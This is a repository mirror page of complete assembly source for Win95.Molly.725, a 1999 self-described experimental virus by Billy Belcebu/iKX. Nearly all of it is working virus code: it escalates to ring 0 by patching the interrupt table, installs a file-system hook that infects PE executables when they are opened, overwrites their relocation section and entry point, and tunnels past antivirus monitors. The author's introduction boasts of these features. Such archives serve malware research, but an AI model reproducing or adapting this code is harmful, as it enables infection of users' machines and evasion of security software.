mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
541 lines
16 KiB
NASM
541 lines
16 KiB
NASM
; [Win95.Molly.725] - An experimental specimen
|
|
; Copyright (c) 1999 by Billy Belcebu/iKX
|
|
;
|
|
; [ Introduction ]
|
|
;
|
|
; This is an experimental virus. After Win32.Legacy i needed to do something
|
|
; small and functional. And here it is. This is my third Ring-0 virus,but the
|
|
; code scheme is different this time from my two other R0's (Garaipena and
|
|
; PoshKiller). This virus was written just at the same time while i started
|
|
; to read Neuromancer, and as you can see, its name comes from the girl with
|
|
; specular lens, that is one of the main characters of the book (hey, don't
|
|
; hesitate and read it!).
|
|
;
|
|
; [ Features ]
|
|
;
|
|
; + Ring-0 virus by means of modifying the IDT
|
|
; + Resident fast infector of PE files with EXE extension
|
|
; + Infects when system opens file
|
|
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
|
|
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
|
|
; + Heavy optimization (at least i've tried to), only 725 bytes
|
|
; + My smallest virus so far :)
|
|
;
|
|
; [ Greetings ]
|
|
;
|
|
; + Wintermute &
|
|
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
|
|
; + Qozah/29A - Thanx for your help and support, dude
|
|
; + Benny/29A - I wanna hear that Czech group ;)
|
|
; + Super/29A - Why are you always in my greets? :)
|
|
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
|
|
; + b0z0/iKX - Padania Libera rules!
|
|
;
|
|
; (c) 1999 Billy Belcebu/iKX
|
|
|
|
.586p
|
|
.model flat,stdcall
|
|
|
|
extrn MessageBoxA:PROC
|
|
extrn ExitProcess:PROC
|
|
|
|
.data
|
|
|
|
szTitle db "[Win95.Molly."
|
|
db virus_size/0100 mod 10 + "0"
|
|
db virus_size/0010 mod 10 + "0"
|
|
db virus_size/0001 mod 10 + "0"
|
|
db "]",0
|
|
szMessage db "First generation host",10
|
|
db "(c) 1999 Billy Belcebu/iKX",0
|
|
|
|
.code
|
|
|
|
virus:
|
|
int 3
|
|
jmp molly1
|
|
fakehost:
|
|
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
|
|
call ExitProcess,00h
|
|
|
|
; ===========================================================================
|
|
; Win95.Molly
|
|
; ===========================================================================
|
|
|
|
molly segment dword use32 public '.molly'
|
|
|
|
; --- Virus mode
|
|
|
|
DEBUG equ FALSE
|
|
|
|
; --- Some equates
|
|
|
|
d equ <[ebp]-offset delta>
|
|
rd equ <[ebp]-offset r0delta>
|
|
rd_ equ <[ebx]-offset r0delta>
|
|
|
|
virus_size equ virus_end-virus_start
|
|
heap_size equ heap_end-virus_end
|
|
total_size equ virus_size+heap_size
|
|
|
|
TRUE equ 01h
|
|
FALSE equ 00h
|
|
|
|
PUSHAD_EDI equ 00h
|
|
PUSHAD_ESI equ 04h
|
|
PUSHAD_EBP equ 08h
|
|
PUSHAD_ESP equ 0Ch
|
|
PUSHAD_EBX equ 10h
|
|
PUSHAD_EDX equ 14h
|
|
PUSHAD_ECX equ 18h
|
|
PUSHAD_EAX equ 1Ch
|
|
|
|
PUSHAD_SIZE equ 20h
|
|
|
|
; --- VxD Functions
|
|
|
|
VMM_Get_DDB equ 00010146h
|
|
IFSMgr_GetHeap equ 0040000Dh
|
|
IFSMgr_RetHeap equ 0040000Eh
|
|
IFSMgr_Ring0_FileIO equ 00400032h
|
|
IFSMgr_InstallFileSystemApiHook equ 00400067h
|
|
|
|
; --- Hooked Functions
|
|
|
|
IFSFN_FILEATTRIB equ 21h
|
|
IFSFN_OPEN equ 24h
|
|
IFSFN_RENAME equ 25h
|
|
|
|
; --- IFSMgr_Ring0_FileIO functions used
|
|
|
|
R0_FILEATTRIBUTES equ 04300h
|
|
R0_OPENCREATFILE equ 0D500h
|
|
R0_CLOSEFILE equ 0D700h
|
|
R0_READFILE equ 0D600h
|
|
R0_WRITEFILE equ 0D601h
|
|
|
|
; --- Macro land
|
|
|
|
dbg macro shit2do
|
|
IF DEBUG
|
|
shit2do
|
|
ENDIF
|
|
endm
|
|
|
|
beep macro
|
|
mov ax, 1000
|
|
mov bx, 200
|
|
mov cx, ax
|
|
mov al, 0B6h
|
|
out 43h, al
|
|
mov dx, 0012h
|
|
mov ax, 34DCh
|
|
div cx
|
|
out 42h, al
|
|
mov al, ah
|
|
out 42h, al
|
|
in al, 61h
|
|
mov ah, al
|
|
or al, 03h
|
|
out 61h, al
|
|
l1: mov ecx, 4680d
|
|
l2: loop l2
|
|
dec bx
|
|
jnz l1
|
|
mov al, ah
|
|
out 61h, al
|
|
endm
|
|
|
|
VxDCall macro VxDService
|
|
int 20h
|
|
dd VxDService
|
|
endm
|
|
|
|
VxDJmp macro VxDService
|
|
int 20h
|
|
dd VxDService+8000h
|
|
endm
|
|
|
|
virus_start label byte
|
|
|
|
; --- Virus entrypoint
|
|
|
|
molly1: jmp gdelta
|
|
|
|
; --- Virus data
|
|
|
|
kernel dd 00000000h
|
|
|
|
; --- Virus code
|
|
|
|
gdelta: call delta ; Get a relative offset
|
|
delta: pop ebp
|
|
|
|
push 05h ; ECX = 5
|
|
pop ecx ; (limit for 'GetImageBase')
|
|
|
|
mov esi,ebp ; ESI = Relative offset
|
|
call GetImageBase ; Get host's imagebase
|
|
mov ModBase d,eax ; Store it
|
|
|
|
mov ecx,cs ; Avoid installation if we're
|
|
xor cl,cl ; in WinNT
|
|
jecxz GimmeSomethingBaby
|
|
|
|
push 05h ; ECX = 5
|
|
pop ecx ; (limit for 'GetImageBase')
|
|
|
|
mov esi,[esp]
|
|
call GetImageBase
|
|
mov kernel d,eax
|
|
|
|
push edx
|
|
sidt fword ptr [esp-2] ; Interrupt table to stack
|
|
pop edx
|
|
|
|
IF DEBUG
|
|
add dl,((5*8)+4)
|
|
ELSE
|
|
add dl,((3*8)+4)
|
|
ENDIF
|
|
|
|
mov ebx,[edx]
|
|
mov bx,word ptr [edx-4]
|
|
|
|
lea esi,NewInt3 d
|
|
|
|
mov [edx-4],si
|
|
shr esi,16 ; Move MSW to LSW
|
|
mov [edx+2],si
|
|
|
|
IF DEBUG
|
|
int 5
|
|
ELSE
|
|
int 3
|
|
ENDIF
|
|
|
|
mov [edx-4],bx
|
|
shr ebx,16
|
|
mov [edx+2],bx
|
|
|
|
GimmeSomethingBaby:
|
|
mov ebx,00400000h ; Get at runtime
|
|
ModBase equ $-4
|
|
add ebx,(fakehost-virus)+00001000h ; Get at infection time
|
|
OldEIP equ $-4
|
|
|
|
jmp ebx
|
|
|
|
NewInt3:
|
|
pushad
|
|
|
|
dbg
|
|
|
|
mov eax,kernel d ; EAX = K32 imagebase
|
|
add al,38h ; Ptr to an unused field
|
|
|
|
cmp word ptr [eax],0CA5Eh ; Already installed?
|
|
jz already_installed ; If so, exit
|
|
|
|
mov word ptr [eax],0CA5Eh ; Case is here...
|
|
|
|
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
|
|
; manipulate more than 4 bytes?
|
|
; (without MMX, dork ;)
|
|
push total_size
|
|
@@1: VxDCall IFSMgr_GetHeap
|
|
xchg eax,ecx
|
|
pop eax
|
|
|
|
fistp real8 ptr [ebp+(@@1-delta)]
|
|
|
|
jecxz already_installed
|
|
|
|
xchg eax,ecx
|
|
mov edi,eax
|
|
lea esi,virus_start d
|
|
rep movsb
|
|
|
|
lea edi,[eax+(FileSystemHook-virus_start)]
|
|
xchg edi,eax
|
|
push eax
|
|
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
|
|
pop ebx
|
|
|
|
xchg esi,eax
|
|
push esi
|
|
add esi,04h
|
|
tunnel: lodsd
|
|
xchg eax,esi
|
|
add esi,08h
|
|
js tunnel
|
|
|
|
mov dword ptr [edi+(top_chain-virus_start)],eax
|
|
pop eax
|
|
mov dword ptr [edi+(OldFSA-virus_start)],eax
|
|
|
|
and byte ptr [edi+(semaphore-virus_start)],00h
|
|
|
|
already_installed:
|
|
popad
|
|
iret
|
|
|
|
; --- The new FileSystem hook ;)
|
|
|
|
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
|
|
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
|
|
|
|
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
|
|
jz infect
|
|
|
|
ExitFileSystemHook:
|
|
mov eax,12345678h
|
|
org $-4
|
|
OldFSA dd 00000000h
|
|
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
|
|
StrCodePage, PtrIOREQ
|
|
ret
|
|
FileSystemHook endp
|
|
|
|
r0fio: VxDJmp IFSMgr_Ring0_FileIO
|
|
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
|
|
dw 0000h
|
|
|
|
pe_header_ptr dd 00000000h
|
|
top_chain dd 00000000h
|
|
semaphore db 00h
|
|
|
|
infect:
|
|
pushfd
|
|
pushad
|
|
|
|
call r0delta
|
|
r0delta:pop ebx
|
|
|
|
cmp byte ptr [ebx+(semaphore-r0delta)],00h
|
|
jnz exit_infect
|
|
|
|
inc byte ptr [ebx+(semaphore-r0delta)]
|
|
|
|
lea esi,top_chain rd_ ; Make null top chain, so we
|
|
lodsd ; avoid monitors by means of
|
|
xor edx,edx ; cutting their balls :)
|
|
xchg [eax],edx
|
|
|
|
pushad
|
|
|
|
lea edi,filename rd_
|
|
push edi
|
|
|
|
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
|
|
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
|
|
uni2asciiz:
|
|
movsb ; Convert to ASCIIz
|
|
dec edi
|
|
cmpsb
|
|
jnz uni2asciiz
|
|
|
|
pop edx ; EDI = Ptr to ASCIIz filename
|
|
|
|
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
|
|
jnz AvoidInfection
|
|
|
|
IF DEBUG
|
|
cmp dword ptr [edi-0Ch],"TAOG"
|
|
jnz AvoidInfection
|
|
ENDIF
|
|
|
|
mov esi,edx ; ESI = Ptr to filename
|
|
xor eax,eax
|
|
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
|
|
; GETFILEATTRIBUTES
|
|
push eax
|
|
call R0_FileIO
|
|
pop eax
|
|
jc AvoidInfection
|
|
|
|
inc eax ; EAX = Function
|
|
; SETFILEATTRIBUTES
|
|
push esi
|
|
push ecx
|
|
push eax
|
|
xor ecx,ecx ; ECX = New attributes
|
|
call R0_FileIO
|
|
jc RestoreAttributes
|
|
|
|
xor eax,eax
|
|
cdq
|
|
mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
|
|
mov ecx,edx ; ECX = 0
|
|
inc edx ; EDX = 1
|
|
mov ebp,edx
|
|
inc ebp
|
|
xchg ebp,ebx ; EBX = 2
|
|
call R0_FileIO
|
|
jc RestoreAttributes
|
|
xchg eax,ebx ; EBX = File handle
|
|
|
|
xor eax,eax
|
|
mov ah,R0_READFILE/100h ; EAX = Function READFILE
|
|
push eax
|
|
push 04h
|
|
pop ecx ; ECX = Bytes to read (4)
|
|
push 3Ch
|
|
pop edx ; EDX = Where to read (3C)
|
|
lea esi,pe_header_ptr rd ; ESI = Where store data
|
|
call R0_FileIO
|
|
|
|
lodsd
|
|
xchg eax,edx ; EDX = Where to read
|
|
pop eax ; EAX = Function READFILE
|
|
lea esi,pe_header rd ; ESI = Where store data
|
|
xor ecx,ecx
|
|
mov ch,04h ; ECX = Bytes to read (1K)
|
|
call R0_FileIO
|
|
|
|
cmp word ptr [esi],"EP"
|
|
jnz CloseFile
|
|
|
|
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
|
|
cmp byte ptr [esi+1Ah],al
|
|
jz CloseFile
|
|
mov byte ptr [esi+1Ah],al
|
|
|
|
mov edi,esi
|
|
movzx eax,word ptr [edi+06h] ; Get last section of header
|
|
dec eax
|
|
imul eax,eax,28h
|
|
add esi,eax
|
|
add esi,78h
|
|
mov edx,[edi+74h]
|
|
shl edx,03h
|
|
add esi,edx ; ESI = last section header
|
|
; EDI = PE header
|
|
|
|
mov [esi+24h],0E0000000h ; New sectionz attributes
|
|
|
|
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
|
|
and dword ptr [edi+0A4h],00h
|
|
|
|
cmp dword ptr [esi],"ler."
|
|
jnz CloseFile
|
|
cmp word ptr [esi+04h],"co"
|
|
jnz CloseFile
|
|
|
|
; Oh, wtf, OVERWRITE! ;)
|
|
|
|
mov dword ptr [esi],"lom." ; .reloc -> .molly
|
|
mov word ptr [esi+4],"yl"
|
|
|
|
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
|
|
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
|
|
|
|
push dword ptr [esi+14h] ; Where copy virus
|
|
|
|
mov eax,virus_size
|
|
mov [esi+08h],eax ; VirtualSize -> virus size
|
|
mov ecx,[edi+3Ch]
|
|
|
|
cdq ; Align, sucker
|
|
push eax
|
|
div ecx
|
|
pop eax
|
|
sub ecx,edx
|
|
add eax,ecx
|
|
|
|
mov [esi+10h],eax ; SizeOfRawData -> aligned
|
|
; virus size
|
|
|
|
mov eax,[esi+0Ch] ; New EIP
|
|
xchg eax,[edi+28h] ; Put new EIP and get old one
|
|
mov OldEIP rd,eax ; Save it
|
|
|
|
push eax
|
|
|
|
xor eax,eax
|
|
mov ah,R0_WRITEFILE/100h ; Write the modified header
|
|
inc eax
|
|
push eax
|
|
xor ecx,ecx
|
|
mov ch,04h
|
|
mov edx,pe_header_ptr rd
|
|
lea esi,pe_header rd
|
|
call R0_FileIO
|
|
|
|
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
|
|
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
|
|
|
|
pop eax ; Write virus
|
|
pop ecx
|
|
pop edx
|
|
lea esi,virus_start rd
|
|
call R0_FileIO
|
|
|
|
CloseFile:
|
|
xor eax,eax
|
|
mov ah,R0_CLOSEFILE/100h
|
|
call R0_FileIO
|
|
|
|
RestoreAttributes:
|
|
pop eax
|
|
pop ecx
|
|
pop esi
|
|
call R0_FileIO
|
|
|
|
AvoidInfection:
|
|
popad
|
|
|
|
mov [eax],edx ; Restore top chain
|
|
|
|
dec byte ptr [ebx+(semaphore-r0delta)]
|
|
|
|
exit_infect:
|
|
popad
|
|
popfd
|
|
jmp ExitFileSystemHook
|
|
|
|
; input:
|
|
; ESI - Any position in the page where we want to search
|
|
; ECX - Search limit (number of pages(limit)/10)
|
|
; output:
|
|
; EAX - Base address of module/process
|
|
|
|
GetImageBase:
|
|
pushad
|
|
and esi,0FFFF0000h
|
|
_@1: cmp word ptr [esi],"ZM"
|
|
jz CheckPE
|
|
_@2: sub esi,00010000h
|
|
loop _@1
|
|
jmp WeFailed
|
|
CheckPE:
|
|
mov edi,[esi.3Ch]
|
|
add edi,esi
|
|
cmp word ptr [edi],"EP"
|
|
jnz _@2
|
|
mov [esp.PUSHAD_EAX],esi
|
|
WeFailed:
|
|
popad
|
|
ret
|
|
|
|
; --- Some shit
|
|
|
|
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
|
|
|
|
; --- Virus heap data
|
|
|
|
virus_end label byte
|
|
filename db 100h dup (00h)
|
|
pe_header db 400h dup (00h)
|
|
|
|
heap_end label byte
|
|
|
|
molly ends
|
|
|
|
end virus
|
|
|
|
|
|
|
|
|
|
|